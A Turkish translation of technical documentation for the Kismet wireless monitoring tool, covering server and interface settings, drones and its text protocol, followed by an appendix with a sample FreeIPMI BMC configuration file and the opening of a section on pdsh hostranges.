wepkey=bssid,hexkey<br />

Yalnız onaltılı anahtar yazılabilir. WEP için değişik üreticilerde şifre<br />

sözcüğünü çeviren belirgin ve tutarlı bir yöntem olmadığından kullanılmaz.<br />

Kismet sunucusu ses ve konuşma üretebilir. Ama bunun Kismet kullanıcı<br />

arayüzü tarafından yapılması daha uygundur. Kismet sunucusunda ses<br />

varsayılan olarak kapatılmıştır.<br />

enablesound=true|false Ses açıp kapama<br />

soundbin=... Ses için programın yolu ve seçenekleri<br />

sound=xxx,true|false Ses tetikleyicisi xxx açma<br />

enablespeech=true|false<br />

Konuşma açık kapalı<br />

speechbin=...<br />

Metni konuşmaya çeviren program


speechtype=raw|festival<br />

Eğer Festival (ama flite değil) kullanılıyorsa tip “festival” olarak<br />

atanmalıdır. Diğer tüm araçlar “raw” (ham) olmalıdır.<br />

Speechencoding=...<br />

NATO, Konuşmanın hecelenmesi, Konuşulması, Çözümlenmesi<br />

alanları için açıklık, heceleme ağları SSID'leri (NATO gibi),<br />

seslendirilen harfler ya da normal olarak konuşma burada<br />

tanımlanır.<br />

speech=xxx,"format"<br />

Konuşulanları dizisi ve kalıbı bu seçenekte tanımlanır. Kismet<br />

kullanıcı arayüzü bölümü daha çok bilgi için konuşma dizilerinin<br />

kalıbı ve bilgisini içerir.<br />

OUI dosyası (Bir cihazın üreticisini bulmak için Kismet tarafından kullanılır)<br />

aynı kalıbı kullandıkları sürece başka araçlarla da paylaşılabilir (Wireshark<br />

gibi). Varsayılan olarak Kismet aşağıdaki yolları arar:<br />

/etc/manuf<br />

/usr/share/wireshark/wireshark/manuf<br />

/usr/share/wireshark/manuf<br />

Başka yollar “ouifile=” seçeneği ile eklenebilir.<br />

14. Kismet Kullanıcı Arayüzü<br />

Varsayılan Kismet arayüzü metin tabanlı ncurses kitaplığını kullanır. Kismet<br />

web sayfasından (http://www.kismetwireless.net/links.shtml) ek kullanıcı<br />

arayüzleri bulunabilir.<br />

Kismet kullanıcı arayüzü herhangi bir curses uygulaması gibidir. Menü “Esc”,<br />

“`” ya da “~” tuşlarıyla etkinleştirilir. Bilgi alanları arasındaki geçiş “tab”<br />

tuşuyla sağlanır.<br />

Fare kullanımı Kismet kullanıcı arayüzündeki gibi sağlanır. Ama sayfaların<br />

hepsi tümüyle fare işlemlerini desteklemez. Kullanıcı arayüzünde tuş takımı<br />

olmadan çalışma kabul edilebilir bir durumdur.<br />

Ana Kismet penceresi ağları adlarını içerir. GPS bilgisi, o anki sunucu<br />

istatistikleri ve paket kaynak durumu ve durum paneli (hataların ve<br />

duyuruların yazıldığı) vardır. Ana menüdeki parçalar “View” (göster) menü<br />

seçeneği ile kullanılabilir.<br />

Özellikler (Preference)<br />

Kismet kullanıcı arayüzü ayarları tümüyle kullanıcı arayüzü içinden<br />

“Kismet->Preferences->...” menü seçeneğinden yapılır. Özelliklerdeki<br />

değişiklikler hemen uygulanır ve yeniden başlatmak gerekmez.


Varsayılan olarak Kismet kullanıcı arayüzü başlangıçta Kismet<br />

sunucusunu başlatmak için sorgu girişi hazırlar. Bu davranış (sunucu<br />

başlatma ve bağlantı kurma gibi) Başlama (Startup) ve Bitiş<br />

(Shutdown) özelliklerinden değiştirilebilir.<br />

Kismet sunucusunu başlatma penceresini otomatik açma<br />

Kismet sunucu başlatma penceresini kullanıcı arayüzü<br />

yüklendiğinde açar (eğer sunucu çalışmıyorsa).<br />

Başlangıçta sunucu başlatmayı sorma:<br />

Sunucu başlatmayı sor (sunucu penceresi açmak yerine)<br />

Kismet sunucu konsolunu varsayılan olarak göster:<br />

Sunucuyu başlattıktan sonra otomatik olarak Kismet sunucu<br />

konsolu penceresini aç:<br />

Kismet sunucusunu iş bitiminde (exit) kapat (shutdown):<br />

Otomatik başlatılan sunucuları öldür (kill) komutu verilir ve<br />

uzaktaki sunuculara da kapanma (shutdown) mesajı gönderilir.<br />

Kismet sunucusunu kapatmadan önce sorgu gönderme<br />

Onay almadan sunucuları öldürme.<br />

Kismet menüleri kısaltmaları destekler. Örneğin “~WI” “Windows-<br />

>Client List” menü seçeneği ile aynı anlama gelir.<br />

Ses ve Konuşma<br />

Kismet kullanıcı arayüzü birçok kullanıcı için ses ve konuşmayı ele alır.<br />

Ses çok sıradan bir işlemdir ( /usr/local/share/kismet/wav altındaki<br />

WAV dosyalardan oynatılır).<br />

Konuşma Festival ve Flite ile desteklenir. Diğer metinden konuşmaya<br />

türü programlar da çalışabilir (açık ve düz metin bilgisini standart<br />

girişten alıyorlarsa). Konuşma metinleri konuşma olayının türüne göre<br />

kodlanabilir (örneğin %1, %2 vb Kismet tarafından verilerle<br />

değiştirilir). Desteklenen olaylar ve değişiklikler:<br />

Yeni Ağ:<br />

Ağ SSID konuşma kodlama ayarlarına göre düzenlenir<br />

Ağ kanalı<br />

Ağ BSSID<br />

Uyarı:<br />

Uyarı tipi<br />

GPS Kayıp, GPS Kilit<br />

Değiştirme seçenekleri yok


Ağları İşaretlemek<br />

Kismet ağ için özelleştirilmiş verileri işaretler biçiminde ekler.<br />

Kistem'te kullanıcı arayüzü, ağlar ve istemciler kendilerine işaret<br />

eklenmiş olarak saklanabilirler. Bu işaretler kullanıcı arayüzünün ağ<br />

ayrıntılarında bulunur ve hem metin hem de XML dosyalarına yazılır.<br />

İşaretler değişmez ve sürekli tanımlanabilir. Ağ ve istemcilerde<br />

“Unutma” kutusu işaretlenince, Kismet yeniden başlatıldığında bu<br />

değerler kaybolmadan kullanılır.<br />

İstemci işareti belirtilen bir ağda belirli bir istemciye verilen addır. Şu<br />

anda istemcinin her anına eklenebilecek bir mekanizma yoktur.<br />

Sıralama (sırting)<br />

Kismet'in “autofit” konumu varsayılan ayardır. Ekrana aktif ağlardan<br />

koyabildiği kadar çoğunu sığdırmak ister. “autofit” konusu çok<br />

değişken olduğundan, bu konumda ağları seçmenin bir anlamı olmaz.<br />

Bir ağ seçmek ve ayrıntıları göstermek için önce “Sort” menüsündeki<br />

başka bir yöntemle ağlar sıralanır, daha sonra ağ seçilir.<br />

15. Kismet drones (yan ürünleri)<br />

Kismet yan ürünleri, Kismet'i dağıtılmış IDS sistemine dönüştürür. Drones<br />

Kismet'in desteklediği tüm yakalama yöntemlerini destekler. Bunlara Drone<br />

için çoklu yakalama cihazları da dahildir. Drone kablosuz ağ verilerini yakalar<br />

ve Kismet suncu üzerinden ikincil bir bağlantıya yönlendirir (örneğin kablolu<br />

ethernet ağı). Drone paketlerin çözülmesiyle uğraşmaz ve enküçük donanım<br />

ortamına göre çalışır.<br />

Bir Kismet sunucusu drone'lara bağlanır ve bir kullanıcı arayüzü olan Kismet<br />

görüntüler, paket yazma ve uyarı oluşturma buradan yapılır. Uzaktaki Kismet<br />

üzerindeki yakalama kaynakları, Kismet sunucusuna yönlendirilir ve<br />

bağımsız bir yakalama cihazı gibi görünüp kanal sekmelerine, kilitlemelerine<br />

göre ayarlanır.<br />

Tun/tap dışa çıkartma işlevini kullanarak Kismet sunucusu tüm bağlı<br />

drone'lardan gelen paketleri sanal ağ arayüzüne çıkarabilir. Böylece<br />

dışarıdaki bir IDS/paket yakalama sistemi (Snort gibi) bunları kullanabilir.


Drone'ları kullanabilmek için önce uzaktaki sistemde kismet_drone başlatılır<br />

(kismet_drone.conf değiştirilerek ayarlar kullanıma uygun hale getirilir.<br />

Örneğin hangi <strong>bilgisayar</strong>ların bağlanacağı bilgisi gibi). Ya da kimet<br />

sunucusundaki drone olanaklarının (kismetserver.conf dosyasındaki)<br />

açılmasıyla sağlanır. kismet_server drone olarak çalıştığında, yerel log<br />

yazma her zamanki gibi davranır ve kismet istemcileri sunucuya aynı normal<br />

biçimiyle bağlanır. kismet_drone çalıştırılırken istemciler doğrudan<br />

bağlanamaz ve log yazılmaz. Bunların olması için Kismet sunucusu, sunucu<br />

olarak başlatılmış olmalıdır. Böylece paket kodlama ve açma yanında<br />

Kismet kullanıcı arayüzü bağlantıları oluşur.<br />

16. Kismet'le konuşma<br />

Kismet'in istemci/sunucu protokolü temel metindir. Kismet'le iletişim telnet y<br />

ada netcat gibi temel programlarla bile sağlanır. Ama ciddi uygulamalar için<br />

tüm protokol olanaklarını kullanan bir arayüz olmasında yarar vardır.<br />

Bu belge Kismet protokolünü ve iletişimin temel ilkelerini anlatır. Daha geniş<br />

ve ayrıntılı bilgi için kaynak koda başvurulmalıdır. Daha geniş bir belge<br />

ileride sağlanabilir.<br />

Kismet protokolü komutlar ve yanıt cümlelerinden oluşur. Bir komut:<br />

!ID COMMAND OPT1 OPT2 OPT3<br />

biçimindedir. Burada ID bir sayıdır (doğru bir hata denetimi için tekil<br />

olmalıdır) kalanlar ise komut ve onun alabileceği parametre değerleridir.<br />

Seçeneklerin içinde boşluklar varsa ve seçenek tek bir parametre değeri<br />

olarak belirtiliyorsa bunları “\001....\001” arasında belirtmek gerekir.<br />

Ve yanıtlar daa aşağıdaki kalıba göre hazırlanır:<br />

*HEADER f1 f2 f3 f4<br />

Burada HEADER cümle tipidir ve kalanlar ise istenen bilgi alanlarıdır. Yanıt<br />

istenilen sırada verilir.<br />

Bilgi alanları ACII düz metindir. İstemci bu değerin terminal açısından<br />

yazılabilir olduğunu bilmesinde yarar vardır.<br />

İçinde boşluklar olan alanların \001...\001 işaretleri arasında göndrilmesi bu<br />

alanın içinde boşluklarla değerledirilmesi gerektiğini belirtir. Bunlar herhangi<br />

alanda olabileceklerinden protokol tarayıcı programlar bu tür metinleri<br />

algılayabilmelidir.


Temel Kismet koutları şunlardır:<br />

!{#} SHUTDOWN<br />

Kismet programını durdur.<br />

!{#} CAPABILITY {cümle}<br />

Protokol için alanları sorgulamadır. Sonuç *CAPABILITY cümle<br />

biçiminde döner.<br />

!{#} ENABLE {cümle} {alanlar}|{*}<br />

Bir cümleyi aç, ya alanları istenilen sırada dizerek ya da * ile<br />

varsayılan sırada tüm alanları isteyerek bu açılım yapılır.<br />

!{#} REMOVE {cümle}<br />

Bir cümleyi kaldır. Ya da onu göndermeyi durdur.<br />

!{#} ADDNETTAG {BSSID} {Sabit} {İşaret adı} {işaret içeriği}<br />

Ağa rastgele bir işaret daha ekle. Eğer sabitse,<br />

~(kismet/tags.conf altında saklanır.<br />

!{#} DELNETTAG {BSSID} {İşaret adı}<br />

Bir işareti sil.<br />

!{#} ADDCLITAG {BSSID} {MAC} {Sabit} {işaret} {içerik}<br />

Ağdaki belirtilen istemciye işaret ekle.<br />

!{#} DELCLITAG {BSSID} {MAC} {işaret}<br />

İşareti sil<br />

!{#} ADDSOURCE {kaynak satırı}<br />

Kaynağı dinamik olarak ekle. Kaynak satırı “ncurses=” satırı ile<br />

aynı olmalıdır.<br />

Protokol Cümleleri:<br />

Bir cümle kullanıma açıldığında var olan cümle verisi hemen gönderilir.<br />

(protokol göstergeleriyle). Ek veriler deltalar biçiminde gönderilir.<br />

İşlem zamanı ve bant aralığı dikkate alınır. Yalnız değişen veriler<br />

gönderilir. Örneğin *BSSID cümlesi gönderildiğinde bir blok *BSSID<br />

verisi gönderilir. Bunlar daha önce Kismet tarafından saptanan ağ<br />

bilgileridir. Bu cümle durduruluncaya dek gönderme yapılır. Her saniye<br />

bir kayıt gönderilir. Ağlardaki her değişiklikte değişen bilgi gönderilir.


Zorunlu cümleler:<br />

Kismet istemcinin en az aşağıdaki protokolü kabul edebilmesini ister.<br />

En azından istemci yanıt veremiyorsa, bunların tümünü unutmalıdır.<br />

Komutlar REMOVE komutuyla kapatılabilir. Genelde istemci anlamadığı<br />

her komutu kapatmalıdır.<br />

*KISMET<br />

Temel Kismet başlama bilgisi.<br />

*PROTOCOLS<br />

Desteklenen cümlelerin listesi.<br />

*ACK<br />

Komut yanıtı.<br />

*ERROR<br />

Komut hatası olduğunda...<br />

*TIME<br />

Sunucunun zaman damgası.<br />

Örnekler:<br />

echo -e '\n!0 enable channel channel,networks' | nc localhost 2501<br />

*CHANNEL cümlesi “channel” ve “networks” adlı alanlar ile açılır.<br />

Sonuç aşağıdaki gibidir:<br />

*ACK: 0 OK<br />

*CHANNEL: 1 4<br />

*CHANNEL: 3 1<br />

*CHANNEL: 4 1<br />

*TIME: 1245176426


Ek-4<br />

bnc config<br />

(http://www.gnu.org/software/freeipmi/bmcconfig-example.conf)<br />

#<br />

# Bölüm UserX Açıklamalar<br />

#<br />

# Aşağıdaki kullanıcı bölümlerinde, kullanıcılar kullanıcı adlarını, şifrelerini<br />

# ve yerel ağ üzerinden IPMI erişim yetkilerini yapılandırırlar. Kullanıcı adları<br />

# User1 dışında herhangi bir karakter dizisi olabilir. Çünkü User1 IPMI'da<br />

# anonymous kullanıcı adı olarak belirlenmiştir.<br />

#<br />

# Yerel ağ üzerinden IPMI erişimi için “Enable_User” değerini “Yes” yapın.<br />

# “Lan_Enable_IPMI_Msgs” değerini “Yes” ve “Lan_Privilege_Limit” değerini yetkili<br />

# düzeyine çıkartın. Yetki düzeyi IPMI bazı işlemlerinde kullanıcı adlarına göre<br />

# sınırlamalar getirmekte kullanılır. Ama en az yetkili düzeyinde en az bir<br />

# kullanıcı sınırları “Administrator” olmalıdır. O zaman yerel ağ üzerinden tüm<br />

# IPMI işlemleri bu kullanıcıya açılmış olur. Güvenlik nedeniyle User1 (anonymous<br />

# kullanıcı) açılmamalıdır. Bir çok kullanıcı için “Lan_Session_Limit” sıfır<br />

# olmalıdır. Böylece aynı anda yerel ağ üzerinden bir çok oturum açılabilir.<br />

# Eğer sisteminiz IPMI 2.0 destekliyorsa ve Serial-over-LAN (SOL) varsa,<br />

# “SOL_Payload_Access” alanını kullanıcı erişimlerinin SOL kullanımını açmak ya da<br />

# kapamak için “Yes” ya da “No” yapın.<br />

#<br />

# Denemeler sırasında açılmış olabilecek olan “Password” alanını açıklama yapmayı<br />

# unutmayın.<br />

#<br />

# Bazı ana kartlarda “Username” alanının okunan/yazılan diğer alanlardan önce<br />

# tanımlanması gerekebilir. Eğer durum böyleyse bu alanlar username-not-set-yet><br />

# (kullanıcı adı henüz atanmamış) diye tanımlanır.<br />

#<br />

Section User1<br />

## Kullanıcı adı tanımla<br />

## Username NULL<br />

## Olası Değerler: Yes/No ya da seçmemek için boşluk<br />

Enable_User<br />

No<br />

## Ya şifre girin ya da silmek için boşluk girin.<br />

## En çok 16 karakter (IPMI 2.0 Destekleniyorsa 20 karakter).<br />

## Password<br />

## Olası Değerler: Yes/No<br />

Lan_Enable_IPMI_Msgs<br />

No<br />

## Olası Değerler: Yes/No<br />

Lan_Enable_Link_Auth<br />

No<br />

## Olası Değerler: Yes/No<br />

Lan_Enable_Restricted_to_Callback<br />

No<br />

## Olası Değerler:<br />

Callback/User/Operator/Administrator/OEM_Proprietary/No_Access<br />

Lan_Privilege_Limit<br />

No_Access


## Olası Değerler: 0-17, 0 (sıfır limitsiz);<br />

## Belirtilmezse sıfır atanır<br />

## Lan_Session_Limit (yerel ağ oturum sınırı)<br />

## Olası Değerler: Yes/No<br />

SOL_Payload_Access<br />

No<br />

EndSection<br />

Section User2<br />

## Kullanıcı adı girin<br />

Username<br />

user<br />

## Olası Değerler: Yes/No ya da seçmemek için boşluk<br />

Enable_User<br />

Yes<br />

## Ya şifre girin ya da silmek için boşluk girin.<br />

## Password<br />

## Olası Değerler: Yes/No<br />

Lan_Enable_IPMI_Msgs<br />

Yes<br />

## Olası Değerler: Yes/No<br />

Lan_Enable_Link_Auth<br />

No<br />

## Olası Değerler: Yes/No<br />

Lan_Enable_Restricted_to_Callback<br />

No<br />

## Olası Değerler:<br />

Callback/User/Operator/Administrator/OEM_Proprietary/No_Access<br />

Lan_Privilege_Limit<br />

User<br />

## Olası Değerler: 0-17, 0 is (sıfır limitsiz);<br />

## Belirtilmezse sıfır atanır<br />

## Lan_Session_Limit<br />

## Olası Değerler: Yes/No<br />

SOL_Payload_Access<br />

No<br />

EndSection<br />

Section User3<br />

## Kullanıcı adı girin<br />

Username<br />

operator<br />

## Olası Değerler: Yes/No ya da seçmemek için boşluk<br />

Enable_User<br />

Yes<br />

## Ya şifre girin ya da silmek için boşluk girin.<br />

## Password<br />

## Olası Değerler: Yes/No<br />

Lan_Enable_IPMI_Msgs<br />

Yes<br />

## Olası Değerler: Yes/No<br />

Lan_Enable_Link_Auth<br />

No<br />

## Olası Değerler: Yes/No<br />

Lan_Enable_Restricted_to_Callback<br />

No<br />

## Olası Değerler:<br />

Callback/User/Operator/Administrator/OEM_Proprietary/No_Access<br />

Lan_Privilege_Limit<br />

Operator<br />

## Olası Değerler: 0-17, 0 (sıfır limitsiz);<br />

## Belirtilmezse sıfır atanır<br />

## Lan_Session_Limit<br />

## Olası Değerler: Yes/No<br />

SOL_Payload_Access<br />

No<br />

EndSection<br />

Section User4<br />

## Kullanıcı adı girin<br />

Username<br />

admin<br />

## Olası Değerler: Yes/No ya da seçmemek için boşluk<br />

Enable_User<br />

Yes<br />

## Ya şifre girin ya da silmek için boşluk girin.<br />

## Password<br />

## Olası Değerler: Yes/No


Lan_Enable_IPMI_Msgs Yes<br />

## Olası Değerler: Yes/No<br />

Lan_Enable_Link_Auth<br />

No<br />

## Olası Değerler: Yes/No<br />

Lan_Enable_Restricted_to_Callback<br />

No<br />

## Olası Değerler:<br />

Callback/User/Operator/Administrator/OEM_Proprietary/No_Access<br />

Lan_Privilege_Limit<br />

Administrator<br />

## Olası Değerler: 0-17, 0 (sıfır limitsiz);<br />

## Belirtilmezse sıfır atanır<br />

## Lan_Session_Limit<br />

## Olası Değerler: Yes/No<br />

SOL_Payload_Access<br />

No<br />

EndSection<br />

#<br />

# Lan_Channel (Yerel ağ kanalı) Bölümü Açıklamaları<br />

#<br />

# Yerel ağ kanalı bölümünde, genelde yerel ağ üzerinden IPMI açılır ya da<br />

# kapatılır.<br />

# Yukarıdaki uçucu yapılandırmalar BMC üzerine hemen güncellenir ve sistem<br />

# üzerinde anlık etki gösterir.<br />

# Kalıcı (Non_Volatile) yapılandırmalar bir sonraki sistem açılışında devreye<br />

# girer. Bu nedenle genel olarak hem uçucu hem de kalıcı ayarlar eşit olmalıdır.<br />

#<br />

# Yerel ağ üzerinden IPMI açmak için “Access Mode” (erişim konumu) “Alway<br />

# Available” (her zaman var) olarak değer almalıdır.<br />

# "Channel_Privilege_Limit" değeri kendisinin tanımlandığı kullanıcı için en<br />

# yüksek yetki seviyesine çıkarılmalıdır. Tipik olarak bu kullanıcı<br />

# “Administrator” olur.<br />

#<br />

# Ek güvenlik için "User_Level_Auth" ve "Per_Message_Auth" tipik olarak "Yes"<br />

# değerini alır.<br />

#<br />

Section Lan_Channel<br />

## Olası Değerler: Disabled/Pre_Boot_Only/Always_Available/Shared<br />

Volatile_Access_Mode<br />

Always_Available<br />

## Olası Değerler: Yes/No<br />

Volatile_Enable_User_Level_Auth<br />

Yes<br />

## Olası Değerler: Yes/No<br />

Volatile_Enable_Per_Message_Auth<br />

Yes<br />

## Olası Değerler: Yes/No<br />

Volatile_Enable_Pef_Alerting<br />

No<br />

## Olası Değerler: Callback/User/Operator/Administrator/OEM_Proprietary<br />

Volatile_Channel_Privilege_Limit<br />

Administrator<br />

## Olası Değerler: Disabled/Pre_Boot_Only/Always_Available/Shared<br />

Non_Volatile_Access_Mode<br />

Always_Available<br />

## Olası Değerler: Yes/No<br />

Non_Volatile_Enable_User_Level_Auth<br />

Yes<br />

## Olası Değerler: Yes/No<br />

Non_Volatile_Enable_Per_Message_Auth<br />

Yes<br />

## Olası Değerler: Yes/No<br />

Non_Volatile_Enable_Pef_Alerting<br />

No<br />

## Olası Değerler: Callback/User/Operator/Administrator/OEM_Proprietary<br />

Non_Volatile_Channel_Privilege_Limit<br />

Administrator<br />

EndSection<br />

#<br />

# Lan_Conf Bölümü Açıklamaları<br />

#


# Lan_Conf bölümünde, tipik ağ yapılandırması kurulur. Bir çok kullanıcı için IP<br />

# adres kaynağı “statik” (değişmez) olarak belirlenir. "IP_Address_Source"<br />

# alanında bu <strong>bilgisayar</strong> için “IP Address” (IP adresi), “MAC_Address” (MAC<br />

# adresi), “Subnet_Mask” (Ağ alt maskesi) vb. Uygun bir değer atanır.<br />

#<br />

Section Lan_Conf<br />

## Olası Değerler: Unspecified/Static/Use_DHCP/Use_BIOS/Use_Others<br />

IP_Address_Source<br />

Static<br />

## Geçerli IP adres girin<br />

IP_Address 192.168.1.1<br />

## Geçerli MAC adres girin<br />

MAC_Address<br />

00:30:52:AC:18:22<br />

## Geçerli Alt ağ Maskesi girin<br />

Subnet_Mask 255.255.255.0<br />

## Geçerli IP adres girin<br />

Default_Gateway_IP_Address 132.19.2.1<br />

## Geçerli MAC adres girin<br />

Default_Gateway_MAC_Address<br />

00:30:52:AC:1C:23<br />

## Geçerli IP adres girin<br />

Backup_Gateway_IP_Address 132.19.2.2<br />

## Geçerli MAC adres girin<br />

Backup_Gateway_MAC_Address<br />

00:30:52:AC:23:24<br />

EndSection<br />

#<br />

# Lan_Conf_Auth Bölüm Açıklamaları<br />

#<br />

# Lan_Conf_Auth bölümünde, IPMI 1.5 için izin verilen şifreleme denetimi<br />

# yapılandırılır. Bir çok kullanıcı “MD5” şifre denetimine “Yes” demek ister.<br />

# Kalanlarına da “No” derler. Eğer NULL kullanıcı adı ve NULL şifre<br />

# tanımlamışsanız, bazı “None” alanlarına da “Yes” demek istersiniz. Böylece<br />

# “None” şifre denetimi çalışabilir. Bazı ana kartlar sizlerin OEM şifre denetimi<br />

# yapmanıza izin vermez. O zaman tüm OEM ile ilgili alanlara “No” demeniz gerekir.<br />

#<br />

Section Lan_Conf_Auth<br />

## Olası Değerler: Yes/No<br />

Callback_Enable_Auth_Type_None<br />

No<br />

## Olası Değerler: Yes/No<br />

Callback_Enable_Auth_Type_MD2<br />

No<br />

## Olası Değerler: Yes/No<br />

Callback_Enable_Auth_Type_MD5<br />

No<br />

## Olası Değerler: Yes/No<br />

Callback_Enable_Auth_Type_Straight_Password No<br />

## Olası Değerler: Yes/No<br />

User_Enable_Auth_Type_None<br />

No<br />

## Olası Değerler: Yes/No<br />

User_Enable_Auth_Type_MD2<br />

Yes<br />

## Olası Değerler: Yes/No<br />

User_Enable_Auth_Type_MD5<br />

Yes<br />

## Olası Değerler: Yes/No<br />

User_Enable_Auth_Type_Straight_Password No<br />

## Olası Değerler: Yes/No<br />

Operator_Enable_Auth_Type_None<br />

No<br />

## Olası Değerler: Yes/No<br />

Operator_Enable_Auth_Type_MD2<br />

Yes<br />

## Olası Değerler: Yes/No<br />

Operator_Enable_Auth_Type_MD5<br />

Yes<br />

## Olası Değerler: Yes/No<br />

Operator_Enable_Auth_Type_Straight_Password No


## Olası Değerler: Yes/No<br />

Admin_Enable_Auth_Type_None<br />

No<br />

## Olası Değerler: Yes/No<br />

Admin_Enable_Auth_Type_MD2<br />

Yes<br />

## Olası Değerler: Yes/No<br />

Admin_Enable_Auth_Type_MD5<br />

Yes<br />

## Olası Değerler: Yes/No<br />

Admin_Enable_Auth_Type_Straight_Password No<br />

## Olası Değerler: Yes/No<br />

OEM_Enable_Auth_Type_None<br />

No<br />

## Olası Değerler: Yes/No<br />

OEM_Enable_Auth_Type_MD2<br />

Yes<br />

## Olası Değerler: Yes/No<br />

OEM_Enable_Auth_Type_MD5<br />

Yes<br />

## Olası Değerler: Yes/No<br />

OEM_Enable_Auth_Type_Straight_Password No<br />

EndSection<br />

#<br />

# Lan_Conf_Security_Keys bölümü açıklamaları<br />

#<br />

# Eğer sisteminiz IPMI 2.0 destekliyorsa ve yerel ağ üzerinden seri bağlantı (SOL)<br />

# varsa, K_g BMC anahtarı ayarı gerekebilir. K_g anahtarı seçimlik olup<br />

# IPMI 2.0'da iki anahtar şifre denetimi için ayarlanabilir. Seçimlik<br />

# ayarlanabilir ama pek çok kullanıcı bunu sıfır ya da boşluk olarak kullanır.<br />

#<br />

Section Lan_Conf_Security_Keys<br />

## Bir dizi gir ya da silmek için boşluk gir<br />

## En çok 20 karakter olabilir, onaltılı giriş için önünde 0x olmalıdır.<br />

## K_G<br />

EndSection<br />

#<br />

# Lan_Conf_Misc Bölümü Açıklaması<br />

#<br />

# Aşağıdaki diğer yapılandırma seçenekleri üretici tarafından seçimlik<br />

# uyarlanmıştır. Sizin sisteminizde hiç olmayabilir ya da aşağıdaki gibi görünmez.<br />

#<br />

# Eğer değeri "Yes" ise, "Enable_Gratuitous_ARPs" sürekli karşılıksız ARP<br />

# gönderecek biçimde BMC'yi uyarır. Böylece ağ içindeki diğer <strong>bilgisayar</strong>lar da<br />

# kendi BMC'lerindeki MAC adreslerini düznlerler. Bir çok kullanıcı bunun değerini<br />

# “Yes” yapmak ister. Çünkü BMC IP adres çözümü için en ucuz yoldur. Ama sizin<br />

# ağınızdaki trafiği arttırır. "Gratuitous_ARP_Interval" karşılıksız gönderilen<br />

# ARP için süreyi tanımlar.<br />

#<br />

# Eğer değeri "Yes" ise, "Enable_ARP_Response" diğer <strong>bilgisayar</strong>lardan gelen ARP<br />

# isteğine yanıt için BMC'yi uyarır.<br />

#<br />

Section Lan_Conf_Misc<br />

## Olası Değerler: Yes/No<br />

Enable_Gratuitous_ARPs<br />

No<br />

## Olası Değerler: Yes/No<br />

Enable_ARP_Response<br />

Yes<br />

## Olası Değerler: 0-255, 500ms arttırımlarla (yani 2 = 1000ms)<br />

Gratuitous_ARP_Interval 3<br />

EndSection<br />

#<br />

# Rmcpplus_Conf_Privilege Bölümü Açıklamaları<br />

#<br />

# Sisteminiz IPMI 2.0 destekliyorsa ve Ağ üzerinden Ser bağlantı (SOL) varsa,


# “cipher suite ID” değerleri aşağıdaki gibi olabilir:<br />

# Rmcpplus_Conf_Privilege bölümünde, IPMI 2.0 altında desteklenen en yüksek<br />

# kullanıcı yetki düzeyi desteklenen “chiper suite ID” çeşitleri için aşağıda<br />

# gösterilmiştir.<br />

# Her chiper suite ID değişik şifre denetleme, bütünlük ve kriptolama<br />

# algoritmaları kümelerini destekler. EN yüksek yetki düzeyi olan kullanıcı<br />

# “chiper suiteID” destekler olmalıdır. Bu da tipik olarak “Administrator” olur.<br />

#<br />

Section Rmcpplus_Conf_Privilege<br />

## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />

Maximum_Privilege_Cipher_Suite_Id_0<br />

Unused<br />

## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />

Maximum_Privilege_Cipher_Suite_Id_1<br />

Unused<br />

## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />

Maximum_Privilege_Cipher_Suite_Id_2<br />

Unused<br />

## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />

Maximum_Privilege_Cipher_Suite_Id_3<br />

Administrator<br />

## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />

Maximum_Privilege_Cipher_Suite_Id_6<br />

Unused<br />

## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />

Maximum_Privilege_Cipher_Suite_Id_7<br />

Unused<br />

## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />

Maximum_Privilege_Cipher_Suite_Id_8<br />

Administrator<br />

## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />

Maximum_Privilege_Cipher_Suite_Id_11<br />

Unused<br />

## Olası Değerler: Unused/User/Operator/Administrator/OEM_Proprietary<br />

Maximum_Privilege_Cipher_Suite_Id_12<br />

Administrator<br />

EndSection<br />

#<br />

# SOL_Conf Bölümü Açıklamaları<br />

#<br />

# Sisteminiz IPMI 2.0 destekliyorsa ve yerel ağ üzerinden seri iletişimi varsa<br />

(SOL), Aşağıdaki yapılandırma seçenekleri SOL ayarlarını belirtir.<br />

#<br />

# SOL'u açmak isteyen bir çok kullanıcı için en az "Enable_SOL" değeri “Yes”<br />

# olmalıdır ve "SOL_Privilege_Level" değeri en yüksek yetki düzeyinde olmalıdır.<br />

# Tanımlanan herhangi bir kulalnıcı (tipik olatak burada “Administrator”) güvenlik<br />

# nedeniyle "Force_SOL_Payload_Authentication" ve "Force_SOL_Payload_Encryption"<br />

# değerlerini "Yes" yapmalıdır. Ama zorunlu şifre denetimi ve kriptolama “chiper<br />

# suite ID” desteklendiğinde "Non_Volatile_Bit_Rate" ve "Volatile_Bit_Rate" uygun<br />

# “baud” hızına ayarlanmalıdır. Bu BIOS ya da işletim sistminde tanımlanmış olan<br />

# hızla aynı olur.<br />

#<br />

Section SOL_Conf<br />

## Olası Değerler: Yes/No<br />

Enable_SOL<br />

Yes<br />

## Olası Değerler: Callback/User/Operator/Administrator/OEM_Proprietary<br />

SOL_Privilege_Level<br />

Administrator<br />

## Olası Değerler: Yes/No<br />

Force_SOL_Payload_Authentication<br />

Yes<br />

## Olası Değerler: Yes/No<br />

Force_SOL_Payload_Encryption<br />

Yes<br />

## Give a non-zero valid integer. Each unit is 5ms<br />

Character_Accumulate_Interval 5<br />

## Give a valid number<br />

Character_Send_Threshold 50<br />

## Give a valid integer


SOL_Retry_Count 5<br />

## Give a valid integer. Interval unit is 10ms<br />

SOL_Retry_Interval 10<br />

## Olası Değerler: Serial/9600/19200/38400/57600/115200<br />

Non_Volatile_Bit_Rate 115200<br />

## Olası Değerler: Serial/9600/19200/38400/57600/115200<br />

Volatile_Bit_Rate 115200<br />

## Give a valid port number<br />

## SOL_Payload_Port_Number 623<br />

EndSection


Ek-5<br />

IPMI<br />

HPC çevresinde Sunucu Aralığı Giriş/Çıkışlarını<br />

(Hostrange Input/Output) Kullanma<br />

Albert Chu<br />

chu11@llnl.gov<br />

Pdsh'e Giriş.<br />

FreeIPMI'da birçok Sunucu aralığı (hostrange) giriş/çıkışları pdsh<br />

araçları içinde modellenmiştir (Bakınız http://pdsh.sourceforge.net).<br />

Pdsh paralel kabut hazır programı olup bir karşıdaki bir kümede<br />

